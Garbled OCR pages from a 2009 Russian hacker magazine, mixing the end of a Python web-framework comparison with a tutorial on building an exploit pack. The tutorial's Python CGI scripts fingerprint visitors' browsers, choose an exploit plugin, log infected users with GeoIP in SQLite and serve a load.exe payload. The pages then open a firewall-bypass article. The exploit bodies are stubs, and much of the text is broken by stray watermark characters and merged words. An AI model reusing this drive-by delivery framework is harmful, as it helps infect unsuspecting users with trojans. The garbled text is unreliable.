Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
12
Добавлен:
20.04.2024
Размер:
15.04 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

СРАВНЕНИЕ НЕКОТОРЫХ ФРЕЙМВОРКОВ

(ZoBD). Посути, программированиевZope сводитсякпроектированиюиерархиикомпонентов. МногиефишкиZope сталиследствием такогоподхода. Например, механизмacquisition — нечтопохожеена наследованиевООП: каждыйобъектнаследуетповедениеисвойства объектов, виерархиикоторыхнаходится(родителей). Поправде говоря, такоеповедениеможетпослужитьисточникомсюрпризов, поэтомувZope3 использованиемеханизмасделалиявным. Многие ставилиZope вупрекмонолитностьигромоздкость, поэтомувконце 2004 годаобщественностьувиделаZope3. Главнымотличиемстала модульностьфреймворка, чтопридалоемуещебольшуюгибкость. Причем, оннеподдерживалобратнойсовместимостисZope2, чтообусловиловнедрениепарадигмZope3 впрежнююZope2. Такимобразом, сейчасразвиваютсяобеветки. С2007 годапоявиласьвозможность устанавливатьмодули, пользуясьпитоновскойegg-технологией. На данныймоментэтоединственныйспособобновлятьZope3 (последнее обновление«однимкуском» 3.4 быловначале2009 годаибольшене предвидится). Zope — активноразвивающийсястабильныйпродукт. В2006 появилсяGrok — новыйвеб-фреймворк, расширяющийидеи

Zope3.

CHERRYPY

Одной из целей создателя языка — Реми Делона — было сотворение библиотеки, которая бы максимально соответствовала питоновскому стилю (как раз то, чего порой не хватает Django или Zope). Это позволило разработчикам использовать фреймворк как любой обычный модуль Python и не думать об особенностях вебпрограммирования.

CherryPy представляетсобойнадстройкунадhttp-протоколом, но остаетсянанизкомуровне. Онможетвыступатьвкачествесамостоя- тельноговеб-сервераилиработатьподуправлениемдругогосервер- ногоприложения, поддерживающегопротоколWSGI. Оннезанимается такимизадачами, какобработкашаблоновдлявыводаданных, доступк базеданныхиавторизацияпользователя. Фреймворкрасширяетсяза счетфильтров, простыхинтерфейсов, состоящихизфункций, которые вызываютсявопределенныхточкахпроцессаобработкизапросов/ответов.

Какужеупоминалось, CherryPy былвыбранвкачествекомпонента TurboGears длядиспетчеризацииurl какhttp-серверисистемаконфи- гурации, чтоговоритотом, чтовтовремяонбыллучшим.

TWISTED

Основывается на парадигме событийно-ориентированного программирования: следуя ей, пользователь пишет короткие функции обратного вызова, которые затем вызываются фреймворком. Центральной является концепция отложенных вычислений. Вычисление некоторого выражения может оказаться невозможным (например, для этого требуются данные от удаленного клиента). Такие выражения могут существовать в виде объектов, но их значение не может быть запрошено. С каждым выражением связана цепочка функций обратного вызова. Когда необходимые данные становятся доступными, результат вычисления выражения передается по этой цепочке. Работа с потоками организована по тому же механизму.

ЗАКЛЮЧЕНИЕ

Измножествапитоновскихвеб-фреймворковпокаможновыделить трехфаворитов: Django, Pylons иTurboGears. Иеслиспоследниму некоторыхмогутвозникнутьсомнения, тоDjango иPylons можносмело рекомендоватьдляразработкисайта. Еслитебяпривлекаетгибкостьи модульность— значит, выборпадаетнаPylons. Еслиустраиваетцелостный, хорошонастроенныйидокументированныйнаборкомпонент— используйDjango.

В действительности, каждый фреймворк имеет свои удобства (иначе он бы не приобрел известность). Фреймворк — это всего лишь инструмент, и то, какой будет выбран, в первую очередь должно зависеть от поставленной задачи, и только потом от его популярности.z

XÀÊÅÐ 09 /129/ 09

099

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

CODING

 

w Click

 

 

 

 

 

m

РОМАН «PREDIDENTUA» ХОМЕНКО / HTTP://TUTAMC.COM /

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

g

.c

 

 

 

 

 

p

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Fiesta

Fire-Pack

ГРУЗИ

IcePack

 

СПЛОИТЫБОЧКАМИ!

Пишемдвижокдлясплоит-связкинаPython

Fiesta, Fire-Pack, IcePack, Tornado имножестводругихсвязоксплоитов знаетмирхакеров, нониоднаизнихненаписананаPython’е.

Этотпробелмыибудемустранять.

Связкасплоитов— этоweb-система, котораяобъединяет несколькосплоитов. Призаходепользователянастраничку сплоитыприменяются, вследствиечегопроисходитзагрузка полезногопрограммногообеспечения(бота, трояна, кейло-

гера) накомпьютерюзера. Крометого, связкаведетстатистику, гдефиксирует, ктозаходилнастраницу, иктоизюзеровбыл«пробит» сплоитом изаражентрояном. Мыразберемтехнологию, какпрактическиреализуетсяэтасвязка, нонебудемвнедрятьсявсампроцесссплоитописания (посколькуэтотемаотдельнойстатьи, аточнее— целойсотнистатей).

ИТАК, ВНАШЕЙПЛАНИРУЕМОЙСВЯЗКЕЯБЫВЫДЕЛИЛЧЕТЫРЕ ЧАСТИ:

выборсплоита;

отдачаполезнойнагрузки;

админка;

сплоиты.

Длячегонужнакаждаячасть, мыподробноузнаемвпроцессееереализации.

ЫНДЕКС.PY

Перваяисамаяглавнаячасть, далееименуемая«Ы», назапроспользователядолжнапроанализироватьегобраузериотдатьстраницустем сплоитом, которыйснаибольшейвероятностью«пробьет» юзера. Кроме того, скриптзанесетвбазуданныхстатистикуопользователе. Мыбудем реализовыватьпростойвариант, когдапользователюотдаетсятолько одинсплоит. Разумеется, вбольшинствеслучаевлучшеиспользовать несколькосплоитов, которыепоочередноприменяютсяроторомна JavaScript, ноэтуидеюмыприбережемдляследующихрелизов. Реагироватьназапросюзерабудемчерезcgi (онемчитайвоврезке). ДлятестированияэтогохозяйствалучшевсегоскачатьDenwer имодуль кнемудляPython’а(яужескачал, установил, настроилдлятебя, такчто простокопируйснашегодискаизапускай).

ПервыймодульбудетполностьюсодержатьсявфайлеЫндекс— index. py. ДляотображениястраницысиспользованиемCGI надоуказать, что скриптнаписаннаPython’e, иещенужнообязательноуказатьзаголовокс полемContent-type, пустуюстрокудляотделениязаголовкаотосновного телаинепосредственнонашHTML:

100

XÀÊÅÐ 09 /129/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

КОДСКРИПТАLOAD.PY

 

 

#!/usr/bin/python

 

 

# -*- coding: utf-8 -*-

 

 

import os,sys

 

 

 

import sqlite3

 

 

 

import pygeoip

 

 

 

from StringIO import StringIO

 

 

# здесь статистика, аналогичная index.py

 

 

try:

# Windows only

 

 

import msvcrt

 

 

 

msvcrt.setmode(sys.stdout.fileno(),os.O_BINARY)

 

 

except ImportError: pass

 

 

print 'Content-Type: application/x-octetstream'

 

 

print 'Content-Disposition: attachment; \

 

 

filename=load.exe'

 

 

print 'Content-Title: load.exe'

 

 

print

 

 

 

sys.stdout.write(

 

 

file(r"./data/load.exe", "rb").read() )

 

 

 

 

 

 

 

 

 

#!/usr/bin/python

# -*- coding: utf-8 -*-

print 'Content-type: text/html' print

print '<h1>XEK</h1>'

ЧтобыразрешитьCGI, ещенужносоздатьфайл.htaccess сострочкой:

Options +ExecCGI

CGI-интерфейс, кромеотдачистраницывбраузер, позволяетполучать некоторуюдополнительнуюинформацию. Впервуюочередьнасинтересует, откудаюзерпришел— referer, егоIP, атакжеUser-agent — всеэто хранитсявпеременнойenviron измодуляos. Получитьихможновоттак:

import os

ip = os.environ["REMOTE_ADDR"]

ua = os.environ["HTTP_USER_AGENT"] rf = os.environ["HTTP_REFERER"]

Болеекрасивыйспособ, черезGET:

ua = os.environ.get("HTTP_USER_AGENT",'N/A')

Если User-agent не определен, тогда переменной будет присвоен второй аргумент, строка ‘N/A’.

Информацию о пользователе мы получили. Настало время сохранить ее в базу данных (мы используем SQLite). Кстати, совсем забыл

— в статистику лучше добавить и страну происхождения юзера. Для этих целей используются специальные базы соответствия IP-адреса и страны. Мы будем использовать бесплатную версию базы с сайта http://maxmind.com. Чтобы работать с ней легко и непринужденно, скачай библиотеку с сайта http://code.google.com/p/ pygeoip. Скопируем эту библиотеку и базу в папку pygeoip. Тогда в нашем скрипте Ындекс.py станет возможным использовать код:

РАЗУМЕЕТСЯ,ВБОЛЬШИНСТВЕ СЛУЧАЕВЛУЧШЕИСПОЛЬЗОВАТЬНЕСКОЛЬКОСПЛОИТОВ,КОТОРЫЕПООЧЕРЕДНО ПРИМЕНЯЮТСЯРОТОРОМНА

JAVASCRIPT.

import pygeoip

gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat')

cc= gi.country_code_by_addr(ip)

Врезультате его работы в переменной ‘cc’ появится сокращение страны — ru, ua, us. Чрезвычайно удобная библиотека!

SQLITE

Вернемся к SQLite. Для примера напишем скрипт инсталляции install.py и разместим его в папке data. Он будет создавать пустую базу данных с двумя таблицами:

КОДСКРИПТАINDEX.PY

#!/usr/bin/python

# -*- coding: utf-8 -*-

import os import sqlite3 import pygeoip

ip = os.environ.get("REMOTE_ADDR", 127.0.0.1') ua = os.environ.get("HTTP_USER_AGENT", '')

rf = os.environ.get("HTTP_REFERER", '')

gi = pygeoip.GeoIP('./pygeoip/GeoIP.dat') cc = gi.country_code_by_addr(ip)

conn = sqlite3.connect('./data/base.db') conn.execute('INSERT INTO enter (ip,ua,rf,cc) \

VALUES (?,?,?,?)',(ip,ua,rf,cc)) conn.commit()

conn.close()

for fname in os.listdir('sploits'): if fname.endswith('.py'):

plugin_name = fname[:-3]

if plugin_name != '__init__': plugins=__import__('sploits.'+plugin_name) plugin = getattr(plugins,plugin_name)

if plugin.init(ua): plugin.run() exit()

print 'Status: 404 Not Found' print 'Content-type: text/html' print

print 'Not Found'

XÀÊÅÐ 09 /129/ 09

101

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

to

BUY

 

 

 

 

 

CODING

w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

Fiesta

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Fire-Pack

HTTP://WWW

links

Крупнейшеевместилищебагов: milw0rm.com.

IDE PyScripter: code.google.com/p/ pyscripter.

СайтSQLite: www.sqlite.org.

СайтPython’a: python.org.

DVD

dvd

Надискепокоятся полныескрипты написаннойсвязки сплоитов.

Бездемонстрационноговидеоятебя неоставлю— смотри егоснашегодиска.

import sqlite3

conn = sqlite3.connect('base.db') conn.execute("CREATE TABLE enter \

(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \ ua, rf, cc, date DEFAULT CURRENT_TIMESTAMP)")

conn.execute("CREATE TABLE load \

(id INTEGER PRIMARY KEY AUTOINCREMENT, ip, \ ua, rf, cc, date DEFAULT CURRENT_

TIMESTAMP)")

conn.commit()

conn.close()

Впервойстрочкемыимпортируембиблиотекудляработы сsqlite3. Далее— создаемподключениекбазеданных; еслифайланет, тоонсразубудетсозданавтоматически. ЗатемкбазеданныхмыделаемдваSQL-запросапо созданиютаблиц: однудлясохраненияинформациивсех пользователей, которыезашлинасвязку, авторая— для зараженныхюзеров. Каквидим, SQL-синтаксисне- сколькоупрощентем, чтонеуказываетсятипполя, потому чтотипыполейприсозданиитаблицыдекларативные. Присохранениизаписидвижоксамопределяет, вкаком форматеихсохранять. Типданныхконкретногостолбцаможетменятьсяотстрокикстроке. Такжемывидим созданныенашимирукамидваавтоматическихполя;

первое— автоинкрементныйключ, авторое— полеdate. В негоавтоматическизаписываетсятекущаядатаивремя. ТеперьвнашфайлЫндекс.py можнодобавитьстрочкидля ведениястатистики:

conn = sqlite3.connect('./data/base.db') conn.execute('INSERT INTO enter (ip,ua,rf,cc)\

VALUES (?,?,?,?)',(ip,ua,rf,cc)) conn.commit()

conn.close()

Сюдажелательнодобавитьпроверочкунапредмет установленияфакта«азаходиллипользователькнам раньше?». Еслизаходил— продемонстрироватьошибку 404. Этоткодтысможешьреализоватьсамилиподсмотреть висходникенанашемдиске.

ЗАГРУЗКАПЛАГИНОВ СОСПЛОИТАМИ

Послесборастатистикиобычноследуетпроверкана браузер, результаткоторойопределитвыборконкретного сплоитаизсписка. Мыпоступимчутькрасивее— будем использоватьплагины, размещенныевпапкеdata/sploits. Каждыйсплоитпредставляетсобоюфайл, содержащий двефункции— init иrun. Функцияinit навходполучает user-agent иопределяет, сможетлионапробитьбраузер; еслида— возвращает1, еслинет— 0. Амывсвоюочередь, еслиполучили1, запускаемфункциюrun, котораявставляетэксплоитвстраницу. Сплагинамимыужеработали вовремянаписанияjabber-ботадляадминистрирования, акод, которыйзагрузитвсеплагиныизапуститих, можно подсмотретьнаврезке.

Еслижемыобработаливсеплагиныионисприскорбием сообщили, чтонесмогутпробитьбраузерпользователя, — придетсяпоказатьтомустраницусошибкой404:

print 'Status: 404 Not Found' print 'Content-type: text/html' print

print 'Not Found'

Самисплоитызачастуювыглядяттак: вначалеидетобычнаяпроверканаверсиюбраузераиоперационнойсистемы, адальше, вrun — выводилиправильногояваскрипта, иликартинки/флешки, илидругогоинтересногообъекта:

def init(ua):

if ua.find('Opera/9.6') and \ ua.find('Windows NT'):

return 1 return 0

def run(url):

print "Content-type: text/html" print

print '''

<script language=JavaScript> function dc(x){var l=x. length,b=1024,i,j,...'''

CGI

CGI (отангл. Common Gateway Interface — «общийинтер-

фейсшлюза») — стандарт интерфейса, используемого для

связи внешней программы с веб-

ввода/вывода. Такими возмож-

ваться эти простые командные

сервером.

ностями обладают даже скрипты

скрипты.

Сам интерфейс разработан так,

для встроенных командных

Хотя мы и используем CGI для

чтобы можно было использовать

интерпретаторов операционных

примера из-за простоты, на

любой язык программирования,

систем, поэтому в случаях, когда

практике он уступает альтер-

который может работать со

нет нужды в сложной функ-

нативам (FastCGI, SCGI, WSGI

стандартными устройствами

циональности, могут использо-

è ïð.).

102

XÀÊÅÐ 09 /129/ 09

IcePack
КАКIDE ДЛЯ
PYTHON
ИСПОЛЬЗОВАЛ
PYSCRIPTER

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

d

 

 

F

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

w Click

 

 

 

 

m

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ОТДАЧАПОЛЕЗНОЙНАГРУЗКИ

 

строчек, аостальнуючастьможнопосмотретьнадиске:

СработавшийвбраузересплоитвсегдастараетсязагрузитьнаЭВМ

 

 

 

юзераполезныйгруз— внашемслучаесоскриптаload.py. Этотскрипт

 

conn = sqlite3.connect('./../data/base.db')

долженсначалазанестистатистикувфайлбазы, азатем— отдать

 

for row in conn.execute("select * from %s \

нагрузку, файлload.exe. Состатистикоймыужеразобрались— код,

 

order by date desc" % table):

аналогичныйтаковомуизЫндекс.ру, новноситонданныеневтаблицу

 

print '<tr>'

 

enter, авload.

 

 

print '<td>%s</td><td>%s</td>' \

Вотдачефайлаестьодиннюанс, связанныйсвиндой, потомучтовней

 

% (row[0], row[1])

 

нужноуказыватьпотокбуферавыводаиработатьвбинарномрежиме:

 

print '</tr>'

 

 

 

 

conn.close()

 

import msvcrt

 

 

 

 

 

 

NAME IT!

 

msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY)

 

 

 

 

 

Итак, связкасоздана. Можнохотьсейчасзагружатьвнеепарусплоитов

Далееследуютобычныестрочкистипомконтентаивыводвбуфервы-

 

изаливатьнасервак. Хотянет, осталасьоднаоченьважнаячасть— на-

вода:

 

 

званиесвязки. «Каквыяхтуназовете— таконаипоплывет», поэтомуя

 

 

 

поименуюнашсегодняшнийкрейсер«Sergant Sploit Pack». Воткогдав

sys.stdout.write( \

 

 

негобудутдобавленысплоиты, шифрованиесплоитовиJavaScrip ротор

file(r"./data/load.exe", "rb").read() )

 

— тогдаипереименуемвGeneral Sploit Pack. Вобщем, пользуйсянашим

 

 

 

примеромдляизученияпитона, нонивкоемслучаенепорабощай

АДМИНКА

 

 

 

машиныбедныхушастыхюзеров! Аесливозникнутвопросы— зада-

Админка— техническисамаяпростаяиодновременносамаятрудоем-

 

вайихмне, грешному. Крометого, незабудьзаглянутьнадисксцелью

каячасть. Внейнужнореализоватьвыводмножествастатистических

 

поискаништяков, посколькуитутмытебянеобманем— сорцы, бонусы

данных. Здесьмыреализуемминимальныйфункционалсвыводом

 

иz-видео, демонстрирующееработунашейсвязкисостаренькой

таблицыenter иload. Главнаячастькодасостоитизнесколькихпростых

 

оперой, неразочаруют. Адиос! z

 

SQLite

функций (API) библиотеки

 

Несколько процессов или по-

вать Sqlite как на встраиваемых

SQLite. Подобный подход умень-

токов могут одновременно без

(embedded) системах, так и на

 

шает накладные расходы, время

 

каких-либо проблем читать

выделенных машинах с гига-

SQLite — это встраиваемая база

отклика и упрощает программу.

 

данные из одной базы. Запись в

байтными массивами данных.

данных. Слово «встраиваемая»

SQLite хранит всю базу данных

 

базу можно осуществить только

Сама библиотека SQLite напи-

означает, что SQLite не использу-

(включая определения, табли-

в том случае, если никаких дру-

сана на C; существует большое

ет парадигму клиент-сервер; то

цы, индексы и данные) в един-

гих запросов в данный момент

количество привязок к другим

есть движок SQLite не является

ственном стандартном файле

 

не обслуживается; в противном

языкам программирования,

отдельно работающим процес-

на том компьютере, на котором

случае попытка записи оканчи-

в том числе C++, Java, .NET,

сом, с которым взаимодействует

исполняется программа. Про-

 

вается неудачей, и в программу

Python, Perl, PHP, Tcl (средства

программа, а предоставляет

стота реализации достигается

 

возвращается код ошибки.

для работы с Tcl включены в

библиотеку, с которой програм-

за счет того, что перед началом

 

Другим вариантом развития со-

комплект поставки SQLite),

ма компонуется, вследствие чего

исполнения транзакции весь

 

бытий является автоматическое

Ruby, Haskell, Scheme, Smalltalk,

движок становится составной

файл, хранящий базу данных,

повторение попыток записи в

Lua и многим другим. В 2005

частью программы. Таким

блокируется; ACID-функции

течение заданного интервала

году проект получил награду

образом, в качестве протокола

достигаются, в том числе, за

 

времени. Благодаря архитектуре

Google-O’Reilly Open Source

обмена используются вызовы

счет создания файла-журнала.

 

движка, возможно использо-

Awards.

XÀÊÅÐ 09 /129/ 09

103

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

F

 

 

 

 

 

 

t

 

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

to

 

 

 

 

 

CODING

 

w Click

 

 

 

 

 

m

АЛЕКСАНДР ЭККЕРТ ALEKSANDR-EHKKERT@RAMBLER.RU

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

w

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

ТУШИМ

ФАЙРВОЛЫ ПО-НОВОМУ

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

Новыеstealth-технологиинаслужбезлобныхпрограммеров

Сзавиднойпериодичностьюмыпубликуемразличныекодерскиеметодыобходаогненныхстен. Оноипонятно— противостояниеброни иснарядапродолжается, новыеверсиифаеров, проактивокиинтегри-

рованныхсистембезопасностивыходятболеечемчасто. Неотстаютот девелоперовизлобныекодеры. Ониспускаютсявсенижеиниже, всамыепотаенныеуголкиядраоперационнойсистемы.

Неопытномупрограммерукажется, что, проникнуввядро Windows, можноделатьтамвсе, чтовздумается, однакоэтоне так. Разработчикифайрволов, проактивныхсистемиантивирусов(вбольшинствесвоем) хлебзрянеедят, оставляямало

просторадлядействийчестногохакера, вздумавшегопоставитьсистему подконтроль. Нокое-какиелазейкивсежеостаются...

ОСНОВЫОСНОВ

Чтотакоеминипорт? Это, упрощенноговоря, виртуальноепредставлениеинтерфейсасетевогоустройства— то, каквидитсетевуюкартуядро операционнойсистемы. МинипортявляетсясвоеобразнымпосредникоммеждучипсетомсетевогоадаптераиядромОС. Драйверыминипор-

танапрямую(точнее, черезHAL — Hardware Abstraction Layer) взаимо-

действуютссетевымадаптеромнасамомнизкомуровне, предоставляя некийабстрактный, общийдлявсехсетевыхадаптеров, интерфейск своемусетевомуадаптерудругимдрайверамисамойоперационной системе.

Вотличиеотвысокоуровневыхдрайверов, драйверыминипортаимеют дведополнительныефункции, называемыеISR (Interrupt Service Routine — обработчикпрерывания) иDpcForIsr (Deferred Procedure Call

— процедураотложенныхвызовов). ISR являетсявысокоприоритетной процедурой, вызываемойприполучениипрерыванияотустройства (например, приполучениипакетаизсети). Вэтойпроцедуренеобходимо выполнитьрядсамыхнеобходимыхдействий, чтобынезадерживать надолговыполнениедругихпроцессов. Вчастности, — запретить устройствугенерироватьданноепрерывание. DPC имеетболеенизкий приоритетприпланированиипотоковивызываетсянепосредственно послеISR, еслиэтотребуется. ОбычновDPC производитсяобменданнымисустройством(например, программированиеконтроллераDMA дляпереписываниявновьпришедшегокадравоперативнуюпамять машиныизбуфернойпамятиустройства). Такойдрайвер, какправило, входитвпоставкусамойсетевойкарты.

Приразработкедрайверовсетевыхкартразработчикдолженчетко следоватьправилам, установленнымтойилиинойверсиейNDIS, потому

104

XÀÊÅÐ 09 /129/ 09

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

